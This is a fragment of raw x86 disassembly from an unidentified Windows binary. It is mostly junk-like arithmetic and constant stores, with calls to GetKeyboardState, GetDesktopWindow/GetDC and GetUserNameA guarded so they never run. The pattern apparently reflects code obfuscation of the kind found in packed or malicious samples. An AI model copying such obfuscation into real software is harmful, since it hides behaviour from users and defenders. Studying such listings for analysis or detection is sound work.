cmp dword [ebp - 0xac], edx
je 0x10019888
mov eax, ebx
cmp dword [ebp - 0x10], edx
jne 0x1001988a
mov eax, edx
cmp eax, dword [ebp - 0x18]
je 0x10019891
mov edx, ebx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xb4]
push 0
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xb4]
setl dl
xor ecx, ecx
cmp edx, eax
sete cl
xor ebx, ebx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb8]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setge bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0xc]
setg dl
xor ecx, ecx
cmp edx, eax
pop edx
setle cl
cmp edi, ecx
push 1
sbb eax, eax
neg eax
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x1c8], eax
mov eax, 0x703026d8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xc
pop ebx
je 0x10019806
mov edi, dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 0x14], 0xd9ed
push 2
mov dword [ebp - 0x10], 6
mov dword [ebp - 4], edx
pop ecx
jmp 0x10019933
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x170], 8
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x10019922
mov dword [ebp - 4], edx
jmp 0x1001994a
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x184], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1001993d
mov dword [ebp - 0x10], 0x2d5e48d3
mov dword [ebp - 0x10], edx
jmp 0x1001996e
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x170]
mov dword [ebp - 0x180], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x1001995b
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 5
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xc], 0xe5ccc90a
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 3
jg 0x100199b8
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x100199b3
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
xor edx, edx
inc dword [ebp - 0xc]
jmp 0x10019992
xor ecx, ecx
mov dword [ebp - 4], edx
inc ecx
jmp 0x100199ce
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x2c], 0x17571177
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x100199c0
mov dword [ebp - 4], edx
jmp 0x100199e9
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x15c], 0x1dbe
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x100199d8
mov dword [ebp - 0x2c], 0xffffffeb
jmp 0x10019a1b
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], edx
jl 0x10019a18
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10019a10
push edx
call edi
xor edx, edx
dec dword [ebp - 0x18]
jns 0x10019a02
xor ecx, ecx
inc ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 5
je 0x100199f7
mov dword [ebp - 0xc], edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10019a37
push edx
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor edx, edx
mov dword [ebp - 0xc], 0xf
jmp 0x10019a60
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10019a5d
cmp dword [ebp - 0xc], 0xfffffffc
jl 0x10019a40
push 8
pop eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x10], 0x2e91a049
mov dword [ebp - 0xc], 0xfffffffb
mov dword [ebp - 0x18], 0x7642
mov dword [ebp - 0x1c], 0x4279
mov dword [ebp - 0x48], 0xe785c2f4
mov dword [ebp - 0x20], 0x8ef5
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x10019ac3